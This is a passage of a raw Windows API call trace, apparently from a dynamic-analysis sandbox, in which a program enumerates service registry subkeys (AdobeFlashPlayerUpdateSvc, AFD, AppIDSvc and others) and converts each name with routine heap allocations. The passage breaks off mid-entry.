[0251.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0251.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0251.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.343] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0251.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0251.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.343] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0251.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0251.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.344] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.344] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.344] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.344] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0251.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.345] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.345] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.345] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0251.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.346] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.346] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.346] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0251.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.346] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.347] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.347] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.347] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: 